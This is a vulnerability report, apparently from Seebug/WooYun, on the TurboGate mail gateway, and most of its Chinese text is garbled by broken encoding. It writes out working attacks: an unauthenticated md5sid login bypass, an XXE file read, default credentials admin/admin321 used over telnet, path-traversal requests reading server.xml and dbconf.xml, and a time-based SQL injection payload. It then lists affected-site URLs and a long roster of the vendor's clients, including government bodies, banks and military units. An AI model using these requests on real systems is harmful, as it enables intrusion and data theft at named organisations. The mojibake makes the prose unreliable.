### ç®è¦æè¿°ï¼
æ波软件æä¸å¦ä¸æ¬¾äº§åï¼ç¨æ·éè¿æ¯æºå¤§çã
### 详ç»è¯´æï¼
TurboGateå
¶å®ç¸å½äºTurboMailçæ©æçæ¬ï¼TurboGateéæäºå¤§éçå¨TurboMailä¸åºç°çæ¼æ´ã
è¿éåªååºæ éç»å½å³å¯å©ç¨çæ¼æ´ï¼ååå¯ä»¥æ ¹æ®TurboMailæ¼æ´è¿è¡èªæ¥ã
1. https://**.**.**.**/bugs/wooyun-2016-0167905
å¨TurboGateä¸ä½¿ç¨çæ¯axis2%remote;]>
${alpharand}
g00dPa$$w0rD
${alpharand}
1
1
“`
[](https://images.seebug.org/upload/201603/0523222565dd9c72c99a1927b03646d441c6f5d2.png)
åç®å½ï¼
[](https://images.seebug.org/upload/201603/05232630169922d9a6cdb390a850894f488c8f9a.png)
读æ件ï¼
[](https://images.seebug.org/upload/201603/05232939598c46440834efb455463c2c81d02622.png)
2. https://**.**.**.**/bugs/wooyun-2010-0174305
è·åç¨äºç»å½çMD5sidï¼
“`
https://**.**.**.**/mailmain?type=getmd5sid1&username=postmaster&domain=root
“`
å©ç¨XXE读ålogæ件ï¼
[](https://images.seebug.org/upload/201603/06001446ac445d003f4b37479cc338adfbaf8b05.png)
å©ç¨md5sidç»å½ï¼
“`
https://**.**.**.**/mailmain?type=login&uid=postmaster&domain=root&md5sid=9946d95d95ab011fbb1836378335e2f9
“`
[](https://images.seebug.org/upload/201603/06001648883ae145c874e98c5b7d28ad08aa9f6c.png)
3. https://**.**.**.**/bugs/wooyun-2010-0176317
é¦å
æ¯TurboStoreçé»è®¤è´¦æ·å¯ç admin/admin321
使ç¨telnetè¿è¡ç»å½ï¼
“`
telnet **.**.**.** 9668
login admin admin321
quit
“`
[](https://images.seebug.org/upload/201603/05234004354fa46a7efa9d85f1ab6d81c58c5b20.png)
å¨åæä¸æå°éè¦ç¨å°ä»Requestä¸è·åmsgidçå¼æ¥ç»ææ件åï¼å½æ件åå¨æ¶åå¯ä»¥è·åSessionidï¼å¨æ°ççTurboMailä¸å¯¹msgidåæ°ä½¿ç¨Util.dirSafe(mbtype)è¿è¡äºæ£æ¥ï¼ä½æ¯å¨TurboGateä¸æªåæ¤æ£æ¥ï¼å æ¤å¯ä»¥æé msgidä»èçæsessionidï¼ä»£ç å¦ä¸ï¼
“`
/* 649 */ String strMsgid = request.getParameter(“msgid”);
/* 650 */ if (strMsgid == null) {
/* 651 */ strMsgid = “0”;
/* */ }
/* 653 */ strMsgid = Util.formatRequest(strMsgid, MailMain.s_os,
/* 654 */ SysConts.New_InCharSet);
/* 728 */ strMailFolderPath =
/* 729 */ UserAccount.getSuitUserPath(spamUserName,
/* 729 */ spamDomain) +
/* 730 */ SysConts.FILE_SEPARATOR +
/* 731 */ “spambox” +
/* 732 */ SysConts.FILE_SEPARATOR +
/* 733 */ strMsgid;
/* */
/* 735 */ File flMsg = new File(strMailFolderPath);
/* */
/* 737 */ if ((!flMsg.exists()) && (!TBoxFile.isTboxFile(strMailFolderPath))) {
/* 738 */ if (bAjax)
/* 739 */ AjaxUtil.ajaxFail(request, response, “info.isemailexist”, null);
/* */ else
/* 741 */ XInfo.gotoInfo(ms, request, response, “info.isemailexist”,
/* 742 */ null, 0);
/* 743 */ ms.logoutAndRemove();
/* 744 */ return;
/* */ }
“`
ç´æ¥è®¿é®ä¸ä¸å°åï¼
“`
**.**.**.**:8080/mailmain?type=showmsgabstract&receiveaccount=@@spambox&useraccount=@@spambox&mbid=0&mbtype=spam&msgid=../../../../conf/server.xml&lang=SIMPLIFIED_CHINESE
“`
å³é®æ¥çæºç ï¼å¨å ¶ä¸è·å¾sessionidï¼
[](https://images.seebug.org/upload/201603/05235303bf01f31cf4e396a6227de5ef08cef9a3.png)
ç¶åéè¿è·åå°çsessionidè¿è¡SQL注å°ï¼
“`
**.**.**.**:8080/mailmain?type=sumsendfailmsgstat&intertype=ajax&sessionid=3283b0Hd_0.g&sender=-1%27union%20all%20select%20sleep%285%29%23&startDate=20160216&endDate=20160216
“`
åå 个åå½±åçç«ç¹ï¼
“`
**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/server.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/server.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/server.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
https://**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/server.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
https://**.**.**.**/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/dbconf.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/dbconf.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
**.**.**.**/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/dbconf.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=../../../../conf/dbconf.xml&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=@@spambox&receiveaccount=@@spambox
“`
å®ç½ä¸https://**.**.**.**/æå°ç客æ·å表ï¼
“`
·海åè£
å¤è®¾è®¡ç 究é¢
·ä¸å½æ°è±¡å±ä¸æµ·å°é£ç 究æ
·å京å¸æµ·æ·åºèå¸è¿ä¿®å¦æ ¡
·海æ·åºè工大å¦
·ä¸èåæµå¤§å¦ç 究é¢
·åä¸å¸è大å¦ç©çç§å¦ä¸ææ¯å¦é¢ç²åæ
·åä¸ç§æ大å¦æåå¦é¢
·æµåéæ±ä¿¡æè¡ä»½æéå
¬å¸
·跨ä¸æèµï¼ä¸æµ·ï¼è¡ä»½æéå
¬å¸
·å京èµé
ææèµé¡¾é®æéå
¬å¸
·天祺èµæ¬æèµï¼å京ï¼æéå
¬å¸
·é¹å士éå¢
·éåç§æè¡ä»½æéå
¬å¸
·ä¸å½åå¸è§å设计ç 究é¢
·æ¬æºªå¸ç¤¾ä¼ä¿é©äºä¸ç®¡çå±
·é»é¾æ±çå«ççç£æ
·é·å±±å¿äººå£å计åçè²å±
·鹤å£å¸æ·å¿äººæ°æ¿åº
·ä¸å
±æ¯èå¸çºªå¾æ£æ¥å§åä¼
·æ¸
è¿å¸å¹¿å·åè±åæéå
¬å¸
·é¦æ¸¯å°éæéå
¬å¸
·河åçå·¥åèå°å¾®ä¼ä¸æå¡ä¸å¿
·å京ä¸çµçç«å¹³æ¿æ¾ç¤ºç§ææéå
¬å¸
·æé½åæºçµæ°æé责任å
¬å¸
·河åçµè§å°
·ä¸å±±ä¸è±å¨åçµå¨æéå
¬å¸
·深å³å¸ååå½è¯çµåæéå
¬å¸
·å京éå·æèµæéå
¬å¸
·æµæ±ä¸åæºæ
§åå¸è§åå¨è¯¢æéå
¬å¸
·åå¸ç§æµé设å¤ï¼ä¸æµ·ï¼æéå
¬å¸
·广å·æ±½è½¦éå¢åè´¸æéå
¬å¸
·河åççç£å¨åç§ææéå
¬å¸
·广ä¸é¿æ ¼è¾é
å
çµæææéå
¬å¸
·æ¹åä¸å³»å·¥è´¸æéå
¬å¸
·ä¸å½å°æ¹ç
¤ç¿æ»å
¬å¸
·åå·æ°´å¡æèµæéå
¬å¸
·æ²é³å工大å¦
·河åççç£å¨åç§ææéå
¬å¸
·广ä¸é¿æ ¼è¾é
å
çµæææéå
¬å¸
·æ¹åä¸å³»å·¥è´¸æéå
¬å¸
·ä¸æ¹ä¹æè´¸ææéå
¬å¸
·åå·çå·å¨éå¢æéå
¬å¸
·ä¸æµ·ç¾åçç©å»è¯ç§ææéå
¬å¸
·ä¸æ¹é¶è¡ä¸é«ç®¡ç ä¿®é¢
·广å·èæç¯ä¿ç§ææéå
¬å¸
·ä¸å½ç©ºé´ææ¯ç 究é¢
·ä¸æµ·å©å¾è´¢å¯èµäº§ç®¡çæéå
¬å¸
·è¡èç±ï¼ä¸æµ·ï¼åè´¸æéå
¬å¸
·常å·ç´¢è´å¾·æºæ¢°é¶é¨ä»¶æ¶¦æ»ææ¯æéå
¬å¸
·深å³å¸çº½æ³°å
çµåæéå
¬å¸
·æ河湾å°äº§æ§è¡æéå
¬å¸
·åæ°ä¼ åªç½ç»æéå
¬å¸
·éå²éæ±æ¹åæèµæéå
¬å¸
·山西大è¿æ±½è½¦å¶é æéå
¬å¸
·å¨å»å£«å¶å·è®¾å¤(ä¸è)æéå
¬å¸
·å京æ¹å¤§çç´ ç§ææéå
¬å¸
·å¾å·å·¨æ°æºçµæéå
¬å¸
·æéç§æéå¢æéå
¬å¸
·é¦é¢æ¥çµçµåæéå
¬å¸
·广å·å¸é®è¾¾çµåç§ææéå
¬å¸
·ä¸æµ·å¤©äºèå计ç®æºç§ææéå
¬å¸
·广å·æ±æºéä¿¡ææ¯æéå
¬å¸
·河åçåä¸ç»¼åå¼åå
¬å¸
·æ°å人寿ä¿é©è¡ä»½æéå
¬å¸
·äºæµ®å¸å¨å¸ç§è´¸åå±æéå
¬å¸
·西京å¦é¢
·å
èå¤çµå(éå¢)æé责任å
¬å¸
·å©å¾ï¼ä¸å½ï¼è´¢å¯ç®¡çä¸å¿
·ä¸æ¹é¶è¡ä¸é«ç®¡ç ä¿®é¢
·常å·ç´¢è´å¾·æºæ¢°é¶é¨ä»¶æ¶¦æ»ææ¯æéå
¬å¸
·ä»åå¸äº¤éå±
·åé¾ä¸ç½ï¼å京ï¼ç§ææé责任å
¬å¸
·广å·å¸åè£æ¿å°äº§åå±æéå
¬å¸
·ææäºååºæ¿åº
·è±æ°å®çµåï¼èå·ï¼æéå
¬å¸
·ä¸å±±æ°¸å纸ä¸æéå
¬å¸
·æ±é¨å¸çæç²¾ç»åå¦å·¥ç¨æéå
¬å¸
·西åæ ¸ææ¯ç 究æ
·å½å®¶æ 线çµçæµä¸å¿ï¼ä¸å½æ 线çµåä¼ï¼
·éå²éæ±æ¹åæèµå
¬å¸
·ä¸çµæè´¢å¡æéå
¬å¸
·深å³å¸åå£é¦å½é
è´§è¿ä»£çæéå
¬å¸
·å京红æ ç§ææéå
¬å¸
·ç æµ·å¸éæ¹è¾¾ç§ææéå
¬å¸
·ä¸æµ·åå¡ä¿¡æ¯ææ¯æéå
¬å¸
·æé½ä¸é¶æ®çç§ææéå
¬å¸
·ä¸å½æé¨é
·绵é³å¸åä¸é¶è¡
·å京å¨åéå®æéå
¬å¸
·广å·å¸çº³éµçµåç§ææéå
¬å¸
·èå·å½ç§ç»¼åæ°æ®ä¸å¿æéå
¬å¸
·广ä¸æå²ä¾åºé¾ç®¡çæéå
¬å¸
·æ¯å¾·éå¸ç¦åå·¥ä¸éå¢æé责任å
¬å¸
·å京é«çæ¿å°äº§ç»çºªæéå
¬å¸
·å京ææä¿¡æ¯ææ¯è¡ä»½æéå
¬å¸
·å®é¸¡è丰æ¿å°äº§å¼åï¼éå¢ï¼æéå
¬å¸å¤©ä¸æ±å½é
è´ç©ä¸å¿
·å¦é¨ä½³å¾·å
´å·¥è´¸æéå
¬å¸
·ä¸å½çµä¿¡ï¼æ¾³é¨ï¼æéå
¬å¸
·å京åæ¹äº¬ç³æ´é
éå®æéå
¬å¸
·è¢éå¹³åä¸é«ç§æè¡ä»½æéå
¬å¸
·广å·èå°ç¹åºç¨å¤åæææéå
¬å¸
·æ¯èå¸çºªå§
·æ°çåéå¿äººæ°æ¿åº
·æé½å®ç¾ç§çæ°ææ¯æéå
¬å¸
·æµæ±å¸å¤ªç«å¶è¯è¡ä»½æéå
¬å¸
·深å³å¸åº·è¾¾å°ï¼éå¢ï¼è¡ä»½æéå
¬å¸
·浦项ï¼è¾½å®ï¼æ±½è½¦é
件å¶é æéå
¬å¸
·å
èå¤æè²æçèè¯ä¿¡æ¯ä¸å¿
·èå·æµ·æéå¢æéå
¬å¸
·ååéå¢æéå
¬å¸
·åéçæ
ä½æ£æéå
¬å¸
·深å³å¸æ¶¦è¿
çµè¯åå¡æéå
¬å¸
·泰信åºé管çæéå
¬å¸
·ä¸å½äººæ°è§£æ¾åæå·¥å
·å京é¼åå
´åè´¸æé责任å
¬å¸
·èå·å¸å¯å´èªå¨åç§ææéå
¬å¸
·å
èå¤çµå(éå¢)æé责任å
¬å¸
·深å³é£é³ç§ææéå
¬å¸
·深å³å¸æ¡åçµèæéå
¬å¸
·广å·åº·å¥çººç»æè£
æéå
¬å¸
·深å³å¸ç´¢è±çå»çææ¯æéå
¬å¸
·ä¸æµ·åèç¹èªå¨åç³»ç»æéå
¬å¸
·ä¸æ¹çæ¹åç½®ä¸æéå
¬å¸
·广å·å¸å
é计ç®æºç§ææéå
¬å¸
·æ°éæè´¸æï¼ç¦å»ºï¼éå¢æéå
¬å¸
·å¯å£«éï¼ä¸å½ï¼ä¿¡æ¯ç³»ç»æéå
¬å¸
·åçµåå·åçµæéå
¬å¸å®ç 寺水ååçµå
·å®æ³¢å¸è´¢æ¿å±
·ä¸å½èªç©ºæå¡æéå
¬å¸
·ä¸å½äººæ°é¶è¡æ²é³æ¯è¡
·å京åè¾°ä¸è½¯ä¿¡æ¯ææ¯æéå
¬å¸
·广西ä¸æ¹èªæ´å®ä¸éå¢æéå
¬å¸
·深å³å¸è¿è¡ç§ææéå
¬å¸
·çè±çç©ç§æï¼æ±èï¼æéå
¬å¸
·æ±é¸¿è´§è¿ä»£çï¼çå°ï¼æéå
¬å¸
·æµæ±å¤§åä¹æ²å±±åçµæé责任å
¬å¸
·å½å®¶é£åè¯åçç£ç®¡çå±åæ¹å»è¯ç»æµç 究æ
·广ä¸ææ´å«æµ´æéå
¬å¸
·åå·èªç©ºè¡ä»½æéå
¬å¸
·æ±èç±ä¿¡è¯ºèªå¤©ä¿¡æ¯ç§ææéå
¬å¸
·æ²é³å¸åå¹³åºçåå°é¢è´·æ¬¾æéå
¬å¸
·深å³å¸æºé«ç²¾å¯å·¥ä¸æéå
¬å¸é¾å²åå
¬å¸
·河åçåä¸å¸é®æ¿å±
·åå·èªç©ºè¡ä»½æéå
¬å¸
·广å·ä¸ææºæ¢°æéå
¬å¸
·æ°æ¥ç³(ä¸æµ·)è´¸ææéå
¬å¸
·广å·å¸éç¹å
Œ
±å»ºè®¾é¡¹ç®ç®¡çåå
¬å®¤
·ä¸æ³°åå±æ§è¡æéå
¬å¸
·æ°çç产建设å
µå¢æ»å»é¢
·å京åä¸ä¿¡æ¯ææ¯ç 究ä¸å¿
·æ¦æ±å
谷广åºå»ºè®¾åå±æéå
¬å¸
·天津å¸é®æ¿å
¬å¸
·广å·æµ·æ´å°è´¨è°æ¥å±
·æ°çç产建设å
µå¢æ»å»é¢
·贵å·çæºåºéå¢æéå
¬å¸
·èå·æ¯è±å
ç²¾å¯è®¾å¤è¡ä»½æéå
¬å¸
·天津å¸è§åå±
·å京å¸ç¦½èå
¬å¸
·深å³æ±æ¨æèµæéå
¬å¸
·深å³å¸ç±æ¸¡é£ç§ææéå
¬å¸
·å京波ç¹èå°ç³æ²¹ææ¯æéå
¬å¸
·广å·ç§çåå·¥è¡ä»½æéå
¬å¸
·深å³è¾¾å®æºè½è¡ä»½æéå
¬å¸
·深å³å¸æ³æ¶¦èèµæ
ä¿æéå
¬å¸
·æ¹åç亲ååæ
游å½é
æ
è¡ç¤¾æéå
¬å¸
·å®ä½³ä¸°ï¼å京ï¼å½é
建çæ¯è§è§å设计æéå
¬å¸
·æ±è康诺å»çå¨æ¢°æéå
¬å¸
·æ¦æ±ä¸ç¯è½¦èº«ç³»ç»æéå
¬å¸
·ä¸å½äººæ°é¶è¡åå®å¸åè¡
·天衡å½é
è´¸æï¼é¦æ¸¯ï¼æéå
¬å¸
·å京ä¸åºåææ¿å°äº§æèµç®¡çæéå
¬å¸
·广å·ä¸å»è¯å¤§å¦
·海ææ§è¡æéå
¬å¸
·åå·ççµä¿¡æéå
¬å¸
·河åçåé³å¸äººæ°æ¿åº
·æ¬å·å°æ°éç»åæéå
¬å¸
·河å交éæèµéå¢
·æ´é³å¸æ¶§è¥¿åºäººæ°æ¿åº
·河åçå¼å°æ±½è½¦è¿è¾æ»å
¬å¸
·ä¹å¯åå
å°å·ç§ææéå
¬å¸
·河åé«éå
¬è·¯åå±æé责任å
¬å¸
·河åç人æ°æ¿åºå½æèµæºçç£ç®¡çå§åä¼
·ä¸å½ç§»å¨éä¿¡éå¢æ²³åæéå
¬å¸å¹³é¡¶å±±å¸å¸åºåå
¬å¸
·éåºå«æ±å¿å§
·ä¸äºåæ¾åº¦åé
åº
·广å·æ¥é»æ±½é¨æéå
¬å¸
·ä¸èæ·éè¾¾çµè®¯æéå
¬å¸
·å京æ³å¤ªå¤©æå½é
å
Œ
³é¡¾é®æéå
¬å¸
·å京èä¸æèµ(éå¢)æéå
¬å¸
·æ¥å½©å½±åç§æï¼ä¹æ±ï¼æéå
¬å¸
·ä¸èå¸é¾å¥çµåæéå
¬å¸
·æ¦æ±çå模å¡æéå
¬å¸
·æ¦æ±å
丰汽车é¶é¨ä»¶æéå
¬å¸
·ä¸å½äººæ°é¶è¡æ¦æ±åè¡
·æ¹å顺天建设éå¢
·æµæ±æ¬§æçµå¨æéå
¬å¸
·ä¸èå»·éå¶æ¨¡æéå
¬å¸
·ä¸å½äººæ°è§£æ¾åæå·¥å
ጊȌ
¬è·¯ç®¡çå±
·ä¸æµ·æ¥åç½ç»ç§ææéå
¬å¸
·ç¦å»ºæ°¸ç¦éå¢
·河åæ°ä¹¡å¤©å
ç§ææéå
¬å¸
·山ä¸ä¸é¾æºè½ææ¯æéå
¬å¸
·ä¸æµ·é¢å¸æèµæ§è¡æéå
¬å¸
·ä¸è¾¾æ°è¯å½é
ç©æµï¼å京ï¼æéå
¬å¸
·ä¸æµ·è¥¿ç§å§ä¿å®æå¡æéå
¬å¸
·äºç¿å½é
ä¿¡ææéå
¬å¸
·深å³é°æ¹çµåæéå
¬å¸
·ä¸æµ·é¸å°ä¿¡æ¯å¨è¯¢æéå
¬å¸
·ä¸èèºå®¶æ²åæéå
¬å¸
·æ±èæ¡åç§æè¡ä»½æéå
¬å¸
·å½å®¶è¯çå±
·ä¸å½ä¸æéå¢æéå
¬å¸
·æ±èç»æµä¿¡æ¯å§åä¼
·辽å®æ¬æºªç¤¾ä¿å±
·ç¥åéå®éå¢æéå
¬å¸
·æ¹åèªç¹ç§ææé责任å
¬å¸
·å京å°é车è¾è£
å¤æéå
¬å¸
·å京京津港å½é
ç©æµæéå
¬å¸
·深å³å¸æºé«ç²¾å¯å·¥ä¸æéå
¬å¸
·å°å·å¸æ°ç«æ¨¡å¡æéå
¬å¸
·深å³å¸ææ³°å¾·ç§ææéå
¬å¸
·æµæ±é¶ä»éä¿¡æ¯ç§ææéå
¬å¸
·深å³å¸æºé«ç²¾å¯å·¥ä¸æéå
¬å¸
·ä¸æµ·æ±½è½¦éå¢è´¢å¡æé责任å
¬å¸
·æé½å·¥å
·ç 究ææéå
¬å¸
·ä¸èå¯çä¼äºéå¶åæéå
¬å¸
·广å·åè¯æ¶¦æ»æ²¹æéå
¬å¸
·åææçæ饰ï¼æå·ï¼è¡ä»½æéå
¬å¸
·æ±è天è¡å¥å½é
ç©æµæéå
¬å¸
·æµæ±ç»¿æ´²å¶å·è®¾å¤æéå
¬å¸
·贵å·çç
¤ç¿è®¾è®¡ç 究é¢
·å´æ±ç»¿éç²¾å¯ç§ææéå
¬å¸
·æ±èç丹é³å¸ç²¾å¯åéåæéå
¬å¸
·ä¸å½äººæ°é¶è¡å®å¾½çåè¡
·åçµéç¨é£è½ï¼å¸¸çï¼æéå
¬å¸
·æ±èç½éªçµå¨è¡ä»½æéå
¬å¸
·ä¸èå¯ç¾é¶ç·æéå
¬å¸
·ä¸å½é«çæè²å¦çä¿¡æ¯ç½
·æ±è¥¿æ¯å¾·éçµå
·鹤å£è±«é¹¤ååæ°´æ³¥å
·深å³å¸åºç§å±ç»¼å管çä¿¡æ¯ä¸å¿
·广å·å¸é«æ°ææ¯åä¸æå¡ä¸å¿
·ç æµ·å¸éªå»ºç®å¡å®ä¸æéå
¬å¸
·å京ä¸æ¨å©è½ç§æåå±æéå
¬å¸
·广å·æ¥æ»¨ç§æåå±æéå
¬å¸
·ç æµ·å¾·åçµåç§ææéå
¬å¸
·åå·æ°´å©èä¸ææ¯å¦é¢
·æµæ±æ¥åæ°ç ç²¾å¯æºæ¢°è¡ä»½æéå
¬å¸
·å京éäºåä¸æèµç®¡çæéå
¬å¸
·å京éäºåä¸æèµç®¡çæéå
¬å¸
·ä¸å½æè²éå±è¿åºå£æ±è¥¿æéå
¬å¸
·æµæ±èæ³å°è¯åéå®æéå
¬å¸
·ä¸å½å±±ä¸å¯¹å¤ç»æµææ¯åä½éå¢æéå
¬å¸
·深å³å¸æ¶¦è¯è¾¾çµåç§ææéå
¬å¸
·å京å¸åå¸è§å设计ç 究é¢
·深å³å¸å½å¾®çµåè¡ä»½æéå
¬å¸
·æµæ±å¤§çæ¼ä¸ç§ææéå
¬å¸
“`
### æ¼æ´è¯æï¼
åä¸Read More
References
Back to Main